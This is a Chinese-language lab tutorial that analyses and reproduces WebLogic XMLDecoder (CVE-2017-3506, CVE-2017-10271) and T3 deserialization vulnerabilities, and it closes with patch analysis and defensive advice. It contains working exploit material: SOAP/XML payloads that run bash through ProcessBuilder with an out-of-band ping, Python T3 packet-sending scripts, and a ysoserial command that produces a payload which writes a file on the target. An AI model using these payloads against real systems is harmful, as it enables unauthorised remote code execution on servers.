初窥weblogic漏洞之XMLDecoder和T3反序列化漏洞
字数 2710 2025-08-11 08:36:24
WebLogic漏洞分析与复现:XMLDecoder和T3反序列化漏洞
1. WebLogic简介
Oracle WebLogic Server是一个统一的可扩展平台,专用于开发、部署和运行Java应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的Java Enterprise Edition (EE)和Jakarta EE实施方式。
Web中间件与Web容器的区别
- Web容器:可以提供Web应用程序的运行环境,支持Servlet和JSP技术,处理HTTP请求和响应。例如Tomcat。
- Web中间件:可以提供系统软件和应用软件之间的连接和交互,支持各种协议和技术,实现数据处理、服务治理、负载均衡等功能。例如WebLogic。
- 关系:Web容器有时也可以作为Web中间件的一部分,比如Tomcat既可以作为Web容器也可以作为Web中间件。
2. WebLogic环境搭建
搭建步骤
-
使用Docker搭建环境,修改Dockerfile解决CentOS镜像源问题:
FROM centos RUN cd /etc/yum.repos.d/ RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-* RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-* -
解决Windows与Linux换行符差异:
# 安装JDK RUN sed -i 's/\r//' /scripts/jdk_install.sh RUN /scripts/jdk_install.sh # 安装weblogic RUN sed -i 's/\r//' /scripts/weblogic_install.sh RUN /scripts/weblogic_install.sh # 创建Weblogic Domain RUN sed -i 's/\r//' /scripts/create_domain.sh RUN /scripts/create_domain.sh # 打开Debug模式 RUN sed -i 's/\r//' /scripts/open_debug_mode.sh RUN /scripts/open_debug_mode.sh
远程调试配置
-
从容器中复制关键文件:
docker cp 容器的ip:/u01/app/oracle/middleware/modules . docker cp 容器的ip:/u01/app/oracle/middleware/wlserver/server/lib . -
使用IDEA打开文件夹,将这两个目录添加到库
-
配置远程调试
3. XMLDecoder反序列化漏洞
漏洞背景
XMLDecoder类似于fastjson,用于将JVM中的Java对象持久化为文件。它使用SAX(Simple API for XML)解析规范。
SAX解析流程:
- 通过JAXP的工厂方法生成SAX对象
- SAX对象使用
SAXParser.parer()作为事件源 ContentHandler、ErrorHandler、DTDHandler、EntityResolver作为事件处理器- 通过注册方法将事件源和事件处理器连接起来
漏洞复现(CVE-2017-3506)
- 访问
http://localhost:7001/wls-wsat/CoordinatorPortType - 使用Burp Suite抓包,修改请求:
- 请求类型改为POST
- Content-Type改为
text/xml
- 使用以下POC:
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java version="1.8.0_131" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>ping 999.merkwg.ceye.io</string> </void> </array> <void method="start"/></object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
其他可能触发漏洞的路径:
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
漏洞分析流程
XMLDecoder.readObject()方法调用parsingComplete()方法parsingComplete()调用DocumentHandler.parse()方法- 创建
SAXParser实例并调用其parse()方法 - 进入
AbstractSAXParser.parse()→XMLParser.parse()→XML11Configuration.parse() - 进入
XMLDocumentFragmentScannerImpl.scanDocument()→XMLDocumentScannerImpl.next() - 进入
XMLDocumentFragmentScannerImpl$FragmentContentDriver.next() - 进入
XMLDocumentFragmentScannerImpl.scanStartElement() - 最终到达
DocumentHandler.endElement()方法
关键点:
StringElementHandler没有endElement方法,直接进入其父类ElementHandler.endElement()- 调用
getValueObject方法将传递的值赋给value - 解析
<void class="java.lang.ProcessBuilder">和<void method="start"/>时:- 新建
Expression对象并调用其getValue方法 - 通过反射调用
ProcessBuilder的start方法
- 新建
漏洞修复与绕过
初始修复:过滤object标签
private void validate(InputStream is) {
// ...
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
// ...
}
绕过(CVE-2017-10271):使用void标签替代object标签
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping 999.merkwg.ceye.io</string>
</void>
</array>
<void method="start"/>
</void>
再次修复:采用黑白名单结合的方式
private void validate(InputStream is) {
// 黑名单
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
}
// 白名单检查
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
}
}
4. T3反序列化漏洞
相关概念
JNDI (Java Naming and Directory Interface):
- 提供统一的客户端API,为开发人员提供查找和访问各种命名和目录服务的通用接口
- 兼容现有目录服务如:DNS、XNam、LDAP、CORBA对象服务、文件系统、RMI等
- 格式:
jdbc://<domain>:<port>、rmi://<domain>:<port>、ldap://<domain>:<port>
RMI (Remote Method Invocation):
- 远程方法调用,允许某个Java虚拟机上的对象像调用本地对象一样调用另一个Java虚拟机中的对象上的方法
- 默认通信协议为JRMP,也支持其他协议如WebLogic的T3和兼容CORBA的IIOP
WebLogic RMI特点:
- 支持集群部署和负载均衡
- 服务端使用字节码生成(Hot Code Generation)功能生成代理对象
- 客户端使用动态代理
- 主要使用T3协议进行数据传输
T3协议特点:
- 服务端可以持续追踪监控客户端是否存活(心跳机制,间隔60秒,超时240秒判定连接丢失)
- 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗
漏洞原理
T3数据包结构:
- 以T3协议头开始
- 后面跟上序列化对象
- 序列化对象前面加上
fe010000
攻击方法:使用恶意的序列化对象替换其中一个序列化对象(注意替换后重新计算数据包长度)
漏洞复现步骤
- 发送握手包:
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print(f'connecting to {server_address[0]} port {server_address[1]}')
sock.connect(server_address)
handshake='t3 10.3.6\nAS:255\nHL:19\n\n'
print(f'sending "{handshake}"')
sock.sendall(handshake.encode())
data = sock.recv(1024)
print(f'received "{data.decode()}"')
- 生成恶意序列化对象:
java -jar ysoserial-all.jar CommonsCollections1 "touch /hacked_by_tunan.txt" > payload.bin
- 构造并发送恶意T3数据包:
import binascii
import struct
# 读取payload
payloadObj = open(sys.argv[3],'rb').read()
# T3协议头部分(从原始数据包中复制)
t3_header=binascii.a2b_hex('000006110665000......537475627009fe010000')
# 构造payload
payload=t3_header+payloadObj
payload=payload+binascii.a2b_hex('fe010000aced00057372001d77656......707702000078fe00ff')
# 重新计算数据包大小
payload = struct.pack('!i', len(payload)) + payload[4:]
# 发送payload
sock.send(payload)
WebLogic RMI服务端与客户端构建
服务端接口:
package examples.rmi.hello;
import java.rmi.RemoteException;
public interface IHello extends java.rmi.Remote {
String sayHello() throws RemoteException;
}
服务端实现:
package examples.rmi.hello;
import javax.naming.*;
import java.rmi.RemoteException;
public class HelloImpl implements IHello {
private String name;
public HelloImpl(String s) throws RemoteException {
super();
name = s;
}
public String sayHello() throws java.rmi.RemoteException {
return "Hello World!";
}
public static void main(String args[]) throws Exception {
try {
HelloImpl obj = new HelloImpl("HelloServer");
Context ctx = new InitialContext();
ctx.bind("HelloServer", obj);
System.out.println("HelloImpl created and bound in the registry to the name HelloServer");
} catch (Exception e) {
System.err.println("HelloImpl.main: an exception occurred:");
System.err.println(e.getMessage());
throw e;
}
}
}
客户端:
package examples.rmi.hello;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class HelloClient {
public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
public static void main(String[] argv) throws Exception {
String host = argv[0];
int port = Integer.parseInt(argv[1]);
try {
InitialContext ic = getInitialContext("t3://" + host + ":" + port);
IHello obj = (IHello) ic.lookup("HelloServer");
System.out.println("Successfully connected to HelloServer on " + host + " at port " + port);
System.out.println(obj.sayHello());
} catch (Exception ex) {
System.err.println("An exception occurred: " + ex.getMessage());
throw ex;
}
}
private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
Maven配置:
<project>
<modelVersion>4.0.0</modelVersion>
<groupId>examples.rmi</groupId>
<artifactId>hello</artifactId>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.6</source>
<target>1.6</target>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
<useUniqueVersions>false</useUniqueVersions>
<classpathPrefix>lib/</classpathPrefix>
<mainClass>examples.rmi.hello.HelloImpl</mainClass>
</manifest>
</archive>
</configuration>
</plugin>
</plugins>
</build>
</project>
5. 总结
XMLDecoder反序列化漏洞要点
- 漏洞存在于WebLogic的wls-wsat组件中
- 通过构造恶意的XML请求触发XMLDecoder反序列化
- 初始修复不完善,可通过替换标签绕过
- 最终修复采用黑白名单结合的方式
T3反序列化漏洞要点
- 利用WebLogic T3协议的特性
- 通过替换T3数据包中的序列化对象实现攻击
- 需要精确控制数据包结构和长度
- 利用ysoserial等工具生成恶意序列化对象
防护建议
- 及时更新WebLogic到最新版本
- 关闭不必要的服务端口
- 对wls-wsat等组件进行访问控制
- 监控异常的网络请求和系统操作